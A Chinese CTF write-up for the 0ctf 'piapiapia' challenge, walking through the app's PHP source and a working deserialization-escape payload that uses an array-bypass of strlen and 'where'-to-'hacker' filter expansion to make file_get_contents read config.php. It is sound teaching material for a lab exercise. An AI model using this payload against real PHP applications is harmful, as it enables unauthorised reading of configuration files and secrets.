攻防世界 0ctf-unserialize(piapipia)

  • 题目考点:任意文件读取 + php代码审计反序列化
  • 我已经做题之前先dirsearch一下了
    在这里插入图片描述
  • 先尝试了一下流程
  • 首先是注册页面注册 账号 接着在update界面取补充信息 最后返回发profile页面 里面有自己注册时候的信息在这里插入图片描述
  • 接着我们就来看看www.zip给的网页源码
  • register.php
<?php
	require_once('class.php');
	if($_POST['username'] && $_POST['password']) {
    
    
		$username = $_POST['username'];
		$password = $_POST['password'];

		if(strlen($username) < 3 or strlen($username) > 16) 
			die('Invalid user name');

		if(strlen($password) < 3 or strlen($password) > 16) 
			die('Invalid password');
		if(!$user->is_exists($username)) {
    
    
			$user->register($username, $password);
			echo 'Register OK!<a href="index.php">Please Login</a>';		
		}
		else {
    
    
			die('User name Already Exists');
		}
	}
	else {
    
    
?>
  • 没有什么操作 简单的限制了用户名和用户密码
  • update.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
    
    
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
    
    

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
  • 做出了 以下的限制
  • 电话号码必须为11位数
  • email必须为10个以内的数字和字母@10个以内的数字和字母.10个以内的数字和字母
  • nickname 必须是小于十位的数字、字母和下划线
  • 文件的大小也进行了限制 文件名进行了md5加密
  • 最后对profile数组进行了序列化 这里应该就是题目的考点之一了
  • profile.php
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
    
    
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
    
    
		header('Location: update.php');
	}
	else {
    
    
		$profile = unserialize($profile);
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));
?>
  • 这里进行了一次反序列化 在$photo的位置进行了file_get_contents($profile[‘photo’]),如果我们这里的photo值是flag文件,就可以读取到文件内容了
  • 还有一个class.php文件 里面是user类和mysql类 重点代码截取了下来
public function filter($string) {
    
    
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
  • 前两天做到了过滤+反序列化 很明显这道题的考点也就是反序列化逃逸
  • 接下来就是解题了
  • 我们想要的是序列化后的结果为
a:4:{
    
    s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";s:6:"xbx_0d";s:5:"photo";s:10:"config.php";}
  • 这样的话 就会直接读取config.php文件里面的内容了
  • 我们需要从phone、email、nicknam、photo中选择一个进行反序列化的逃逸
  • 这里就要补充一个知识点了
  • if(preg_match(’/[^a-zA-Z0-9_]/’, $_POST[‘nickname’]) || strlen($_POST[‘nickname’]) > 10)
    die(‘Invalid nickname’);
  • strlen函数可以通过数组绕过 strlen(Array()) = null
  • 所以这里我们可以通过数组绕过长度的限制 接着我们就是去构造payload了
<?php
$profile['phone'] = '12345678910';
$profile['email'] = '[email protected]';
$profile ['nickname'] = ['xbx_0d'];
$profile['photo'] = 'config.php';
echo serialize($profile);
?>
  • 运行结果是a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:6:"xbx_0d";}s:5:"photo";s:10:"config.php";}
  • 这是我们想要的效果
  • 所以我们需要序列化逃逸的部分就是;}s:5:"photo";s:10:"config.php";}总共三十四位
  • 而且面的filter函数会讲where替换为hacker 也就是多了一位
  • 这样的话如果我们上传nickname的值为
    -wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
  • 就会有以下代码形成的结果
<?php
function filter($string) {
    
    
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}
$profile['phone'] = '12345678910';
$profile['email'] = '[email protected]';
$profile ['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'];
$profile['photo'] = 'aaaaaaaaaaa';
$a = serialize($profile);
echo $a;
echo "\n替换后\n";
$b = filter($a);
echo $b;
echo "\n反序列化\n";
$c = unserialize($b);
echo serialize($c);
?>
  • 运行结果
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}
替换后
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:11:"aaaaaaaaaaa";}
反序列化
a:4:{s:5:"phone";s:11:"12345678910";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}
  • 原先photo的值就被抛弃了 这就是反序列化逃逸的结果了
  • 这样的话我们file_get_contents就是config.php文件了
  • 看一下flag吧
    在这里插入图片描述在这里插入图片描述
  • 总结
  • 题目重点就是题目名序列化
  • 主要考察反序列化的逃逸
  • 其次加了个strlen()函数的数组绕过
  • file_get_contents()应该算是个SSRF吧
  • Tips:

刚刚私信大佬 为啥config.php里面没有flag,读取的时候却有flag
我发出的瞬间才反应过来这个傻子问题
www.zip是直接给你的 不代表它用的config.php就是给你的config.php

猜你喜欢

转载自blog.csdn.net/CyhDl666/article/details/114261569